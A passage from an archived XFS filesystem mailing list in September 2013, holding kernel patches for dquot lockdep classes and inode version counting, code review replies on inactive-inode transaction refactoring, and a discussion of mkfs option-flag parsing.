XFS_DIR3_DATA_FIRST_OFFSET(mp); + offset = xfs_dir3_data_first_offset(mp); ino = xfs_dir2_sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 18:37:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3905F7F57 for ; Sun, 29 Sep 2013 18:37:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BB411AC001 for ; Sun, 29 Sep 2013 16:37:18 -0700 (PDT) X-ASG-Debug-ID: 1380497835-04bdf02f2215e8030002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id FPwB01qBbevSxoyj for ; Sun, 29 Sep 2013 16:37:17 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnoGALu4SFJ5LCC0/2dsb2JhbABagweteJUnF3SCJQEBBScvMwgYMSEYAxsZh3QDDrF7DYlqjGaBNIFUhAwDlhaOLoU0gzYqgS0 Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 09:07:15 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQQY1-0005z6-Eh for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQQY1-0003W8-Dy for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/4] xfs: lockdep needs to know about 3 dquot-deep nesting Date: Mon, 30 Sep 2013 09:37:03 +1000 X-ASG-Orig-Subj: [PATCH 1/4] xfs: lockdep needs to know about 3 dquot-deep nesting Message-Id: <1380497826-13474-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380497826-13474-1-git-send-email-david@fromorbit.com> References: <1380497826-13474-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380497836 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email From: Dave Chinner Michael Semon reported that xfs/299 generated this lockdep warning: ============================================= [ INFO: possible recursive locking detected ] 3.12.0-rc2+ #2 Not tainted --------------------------------------------- touch/21072 is trying to acquire lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 but task is already holding lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 other info that might help us debug this: Possible unsafe locking scenario: CPU0 ---- lock(&xfs_dquot_other_class); lock(&xfs_dquot_other_class); *** DEADLOCK *** May be due to missing lock nesting notation 7 locks held by touch/21072: #0: (sb_writers#10){++++.+}, at: [] mnt_want_write+0x1e/0x3e #1: (&type->i_mutex_dir_key#4){+.+.+.}, at: [] do_last+0x245/0xe40 #2: (sb_internal#2){++++.+}, at: [] xfs_trans_alloc+0x1f/0x35 #3: (&(&ip->i_lock)->mr_lock/1){+.+...}, at: [] xfs_ilock+0x100/0x1f1 #4: (&(&ip->i_lock)->mr_lock){++++-.}, at: [] xfs_ilock_nowait+0x105/0x22f #5: (&dqp->q_qlock){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 #6: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 The lockdep annotation for dquot lock nesting only understands locking for user and "other" dquots, not user, group and quota dquots. Fix the annotations to match the locking heirarchy we now have. Reported-by: Michael L. Semon Signed-off-by: Dave Chinner --- fs/xfs/xfs_dquot.c | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 71520e6..1ee776d 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -64,7 +64,8 @@ int xfs_dqerror_mod = 33; struct kmem_zone *xfs_qm_dqtrxzone; static struct kmem_zone *xfs_qm_dqzone; -static struct lock_class_key xfs_dquot_other_class; +static struct lock_class_key xfs_dquot_group_class; +static struct lock_class_key xfs_dquot_project_class; /* * This is called to free all the memory associated with a dquot @@ -703,8 +704,20 @@ xfs_qm_dqread( * Make sure group quotas have a different lock class than user * quotas. */ - if (!(type & XFS_DQ_USER)) - lockdep_set_class(&dqp->q_qlock, &xfs_dquot_other_class); + switch (type) { + case XFS_DQ_USER: + /* uses the default lock class */ + break; + case XFS_DQ_GROUP: + lockdep_set_class(&dqp->q_qlock, &xfs_dquot_group_class); + break; + case XFS_DQ_PROJ: + lockdep_set_class(&dqp->q_qlock, &xfs_dquot_project_class); + break; + default: + ASSERT(0); + break; + } XFS_STATS_INC(xs_qm_dquot); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 18:37:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 51F887F4E for ; Sun, 29 Sep 2013 18:37:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2392B8F8040 for ; Sun, 29 Sep 2013 16:37:20 -0700 (PDT) X-ASG-Debug-ID: 1380497835-04bdf02f2215e8030003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id jxLE28UcqLA1RBJ2 for ; Sun, 29 Sep 2013 16:37:18 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnwGALu4SFJ5LCC0/2dsb2JhbABagweteJQJgR4XdIIlAQEFJy8zCBgxIRgDGxmHdAMOsXsNiWqMZoJgKIQMA5YWjCKCDIU0gzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 09:07:15 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQQY1-0005z9-G7 for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQQY1-0003WN-FL for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 4/4] xfs: open code inc_inode_iversion when logging an inode Date: Mon, 30 Sep 2013 09:37:06 +1000 X-ASG-Orig-Subj: [PATCH 4/4] xfs: open code inc_inode_iversion when logging an inode Message-Id: <1380497826-13474-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380497826-13474-1-git-send-email-david@fromorbit.com> References: <1380497826-13474-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380497838 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email From: Dave Chinner Michael L Semon reported that generic/069 runtime increased on v5 superblocks by 100% compared to v4 superblocks. his perf-based analysis pointed directly at the timestamp updates being done by the write path in this workload. The append writers are doing 4-byte writes, so there are lots of timestamp updates occurring. The thing is, they aren't being triggered by timestamp changes - they are being triggered by the inode change counter needing to be updated. That is, every write(2) system call needs to bump the inode version count, and it does that through the timestamp update mechanism. Hence for v5 filesystems, test generic/069 is running 3 orders of magnitude more timestmap update transactions on v5 filesystems due to the fact it does a huge number of *4 byte* write(2) calls. This isn't a real world scenario we really need to address - anyone doing such sequential IO should be using fwrite(3), not write(2). i.e. fwrite(3) buffers the writes in userspace to minimise the number of write(2) syscalls, and the problem goes away. However, there is a small change we can make to improve the situation - removing the expensive lock operation on the change counter update. All inode version counter changes in XFS occur under the ip->i_ilock during a transaction, and therefore we don't actually need the spin lock that provides exclusive access to it through inc_inode_iversion(). Hence avoid the lock and just open code the increment ourselves when logging the inode. Reported-by: Michael L. Semon Signed-off-by: Dave Chinner --- fs/xfs/xfs_trans_inode.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/fs/xfs/xfs_trans_inode.c b/fs/xfs/xfs_trans_inode.c index 53dfe46..e6601c1 100644 --- a/fs/xfs/xfs_trans_inode.c +++ b/fs/xfs/xfs_trans_inode.c @@ -118,8 +118,7 @@ xfs_trans_log_inode( */ if (!(ip->i_itemp->ili_item.li_desc->lid_flags & XFS_LID_DIRTY) && IS_I_VERSION(VFS_I(ip))) { - inode_inc_iversion(VFS_I(ip)); - ip->i_d.di_changecount = VFS_I(ip)->i_version; + ip->i_d.di_changecount = ++VFS_I(ip)->i_version; flags |= XFS_ILOG_CORE; } -- 1.8.3.2 From david@fromorbit.com Sun Sep 29 19:29:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DDEB87F37 for ; Sun, 29 Sep 2013 19:29:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 890D9AC001 for ; Sun, 29 Sep 2013 17:29:45 -0700 (PDT) X-ASG-Debug-ID: 1380500983-04bdf02f2315e9ea0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id WgvJeDkETi0o8BDW for ; Sun, 29 Sep 2013 17:29:44 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Av0GAHPFSFJ5LCC0/2dsb2JhbABagwe8RoU7gR4XdIIlAQEFJxMcIxAIAw4KCSUPBSUDIROIBbt2Fo87B4QiA5d+kXqDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 09:59:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VQRMb-00064Y-Ge; Mon, 30 Sep 2013 10:29:25 +1000 Date: Mon, 30 Sep 2013 10:29:25 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 1/4] xfs: push down inactive transaction mgmt for remote symlinks Message-ID: <20130930002925.GI26872@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 1/4] xfs: push down inactive transaction mgmt for remote symlinks References: <1379689572-5543-1-git-send-email-bfoster@redhat.com> <1379689572-5543-2-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379689572-5543-2-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380500983 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141040 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 20, 2013 at 11:06:09AM -0400, Brian Foster wrote: > Push down the transaction management for remote symlinks from > xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is > cleaned up to avoid transaction management intended for the > calling context (i.e., trans duplication, reservation, item > attachment). > > Signed-off-by: Brian Foster Looks good. One minor quibble if you need to respin the patches again, but otherwise: Reviewed-by: Dave Chinner > > @@ -563,41 +552,46 @@ xfs_inactive_symlink_rmt( > */ > int > xfs_inactive_symlink( > - struct xfs_inode *ip, > - struct xfs_trans **tp) > + struct xfs_inode *ip) > { > struct xfs_mount *mp = ip->i_mount; > int pathlen; > > trace_xfs_inactive_symlink(ip); > > - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > - > if (XFS_FORCED_SHUTDOWN(mp)) > return XFS_ERROR(EIO); > > + xfs_ilock(ip, XFS_ILOCK_EXCL); > + > /* > * Zero length symlinks _can_ exist. > */ > pathlen = (int)ip->i_d.di_size; > - if (!pathlen) > + if (!pathlen) { > + xfs_iunlock(ip, XFS_ILOCK_EXCL); > return 0; > + } Minor quibble: this repeated "unlock, return error" pattern could be done with: .... if (!pathlen) goto out_unlock; .... /* remove the remote symlink */ return xfs_inactive_symlink_rmt(ip); out_unlock: xfs_iunlock(ip, XFS_ILOCK_EXCL); return error; } But, like I said, there's no need to do this unless I find other things in the rest of the series that require a respin... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Sep 29 19:33:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 19C5E7F37 for ; Sun, 29 Sep 2013 19:33:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id EE744304032 for ; Sun, 29 Sep 2013 17:32:56 -0700 (PDT) X-ASG-Debug-ID: 1380501175-04cbb02c3b158b690001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 8wDWhOzV9MtTNJwA for ; Sun, 29 Sep 2013 17:32:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Av0GAHPFSFJ5LCC0/2dsb2JhbABagwe8RoU7gR4XdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gFu3YWjzsHhCIDl36ReoM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 10:02:55 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VQRPx-000650-55; Mon, 30 Sep 2013 10:32:53 +1000 Date: Mon, 30 Sep 2013 10:32:53 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 2/4] xfs: push down inactive transaction mgmt for truncate Message-ID: <20130930003253.GJ26872@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 2/4] xfs: push down inactive transaction mgmt for truncate References: <1379689572-5543-1-git-send-email-bfoster@redhat.com> <1379689572-5543-3-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379689572-5543-3-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380501175 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141040 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 20, 2013 at 11:06:10AM -0400, Brian Foster wrote: > Create the new xfs_inactive_truncate() function to handle the > truncate portion of xfs_inactive(). Push the locking and > transaction management into the new function. > > Signed-off-by: Brian Foster Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Sep 29 19:34:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1F4A87F37 for ; Sun, 29 Sep 2013 19:34:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EFAA7304039 for ; Sun, 29 Sep 2013 17:34:57 -0700 (PDT) X-ASG-Debug-ID: 1380501296-04bdf02f2215ea350001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 8q56NqyXe9siMjIV for ; Sun, 29 Sep 2013 17:34:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Av0GAM7GSFJ5LCC0/2dsb2JhbABagwe8RoU7gR4XdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gFu3cWjzsHhCIDl36ReoM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 10:04:56 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VQRRt-00065C-TA; Mon, 30 Sep 2013 10:34:53 +1000 Date: Mon, 30 Sep 2013 10:34:53 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 3/4] xfs: push down inactive transaction mgmt for ifree Message-ID: <20130930003453.GK26872@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 3/4] xfs: push down inactive transaction mgmt for ifree References: <1379689572-5543-1-git-send-email-bfoster@redhat.com> <1379689572-5543-4-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379689572-5543-4-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380501296 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141040 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 20, 2013 at 11:06:11AM -0400, Brian Foster wrote: > Push the inode free work performed during xfs_inactive() down into > a new xfs_inactive_ifree() helper. This clears xfs_inactive() from > all inode locking and transaction management more directly > associated with freeing the inode xattrs, extents and the inode > itself. > > Signed-off-by: Brian Foster Looks OK to me. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From zhong@linux.vnet.ibm.com Sun Sep 29 22:04:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D8ED57F37 for ; Sun, 29 Sep 2013 22:04:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5DCE9AC001 for ; Sun, 29 Sep 2013 20:04:35 -0700 (PDT) X-ASG-Debug-ID: 1380510270-04cbb02c3e15916b0001-NocioJ Received: from e23smtp06.au.ibm.com (e23smtp06.au.ibm.com [202.81.31.148]) by cuda.sgi.com with ESMTP id 47vzj1BET9fIauQL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 29 Sep 2013 20:04:33 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 202.81.31.148 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.148] Received: from /spool/local by e23smtp06.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Mon, 30 Sep 2013 13:04:29 +1000 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.148] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.148] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.148] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.148] Received: from d23dlp01.au.ibm.com (202.81.31.203) by e23smtp06.au.ibm.com (202.81.31.212) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Mon, 30 Sep 2013 13:04:28 +1000 Received: from d23relay03.au.ibm.com (d23relay03.au.ibm.com [9.190.235.21]) by d23dlp01.au.ibm.com (Postfix) with ESMTP id 623FD2CE8053 for ; Mon, 30 Sep 2013 13:04:24 +1000 (EST) Received: from d23av02.au.ibm.com (d23av02.au.ibm.com [9.190.235.138]) by d23relay03.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8U34DJG10682644 for ; Mon, 30 Sep 2013 13:04:13 +1000 Received: from d23av02.au.ibm.com (localhost [127.0.0.1]) by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8U34NwE030966 for ; Mon, 30 Sep 2013 13:04:24 +1000 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8U34LKe030821 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Mon, 30 Sep 2013 13:04:22 +1000 Message-ID: <1380510260.2985.4.camel@ThinkPad-T5421> Subject: Re: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs From: Li Zhong X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs To: Dave Chinner Cc: Eric Sandeen , xfsprogs Date: Mon, 30 Sep 2013 11:04:20 +0800 In-Reply-To: <20130929230638.GG26872@dastard> References: <1380272973.2836.5.camel@ThinkPad-T5421> <5245C07A.3000700@sandeen.net> <1380437441.3811.9.camel@ThinkPad-T5421> <1380445971.3811.14.camel@ThinkPad-T5421> <20130929230638.GG26872@dastard> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13093003-7014-0000-0000-000003B06643 X-Barracuda-Connect: e23smtp06.au.ibm.com[202.81.31.148] X-Barracuda-Start-Time: 1380510272 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, 2013-09-30 at 09:06 +1000, Dave Chinner wrote: > On Sun, Sep 29, 2013 at 05:12:51PM +0800, Li Zhong wrote: > > As Eric suggested, we could set both of the size/log flags after we have > > parsed the options - and from there on it simply means "manually set". > > > > After that, we could use just one flag, e.g. *sflag, to check whether > > the corresponding value is manually set or not. > > It's a start, but I'm not sure that it is an improvement or not. > i.e. you're adding yet another piece of logic to the already > tortured argument parsing and flag setting. > > This could be done in the argument parsing itself, without needing > separate post-processing code. e.g. changing the parsing code like > so: > > case N_LOG: > if (!value || *value == '\0') > reqval('n', nopts, N_LOG); > - if (nlflag) > + if (nlflag > 1) > respec('n', nopts, N_LOG); > if (nsflag) > conflict('n', nopts, N_SIZE, > N_LOG); > + nlflag = 2; > dirblocklog = atoi(value); > if (dirblocklog <= 0) > illegal(value, "n log"); > + nsflag = 1; > dirblocksize = 1 << dirblocklog; > - nlflag = 1; > break; > > Would acheive exactly the same thing - i.e. > a value of 1 means it was initialised, a value of 2 means it was a > command line parameter... > > This means the code checks can be cleaned up as you have done, but > we don't need a separate post-processing step for the arguments to > set flags that weren't set... Thank you for the suggestion, I will try this approach. I think It could also preserve the information which suboption is used actually in the command line through the main() function, though it seems not needed currently. Thanks, Zhong > > > > Signed-off-by: Li Zhong > > --- > > mkfs/xfs_mkfs.c | 29 ++++++++++++++++++++++------- > > 1 file changed, 22 insertions(+), 7 deletions(-) > > > > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > > index 34bf2ff..aa3f391 100644 > > --- a/mkfs/xfs_mkfs.c > > +++ b/mkfs/xfs_mkfs.c > > @@ -1667,11 +1667,26 @@ main( > > dfile = xi.dname; > > > > /* > > + * Later code wants to know if the user manually set a value. > > + * There are two ways to specify on the cmdline; as size or as a log. > > + * if either was used, set both flags - from here on it simply means > > + * "manually set" > > + */ > > + if (bsflag || blflag) > > + bsflag = blflag = 1; > > + if (ssflag || slflag) > > + ssflag = slflag = 1; > > + if (isflag || ilflag) > > + isflag = ilflag = 1; > > + if (nsflag || nlflag) > > + nsflag = nlflag = 1; > > You missed the log sector size/log flags. > > Cheers, > > Dave. From dave@fromorbit.com Sun Sep 29 22:07:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 67A0F7F4E for ; Sun, 29 Sep 2013 22:07:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4B1E9304032 for ; Sun, 29 Sep 2013 20:07:25 -0700 (PDT) X-ASG-Debug-ID: 1380510443-04bdf02f2315f0610001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id WN4swi2KdsZ2ulfx for ; Sun, 29 Sep 2013 20:07:23 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AloGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SDAjuBAgOIOZp4oQ6PboQMA6l4gzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO 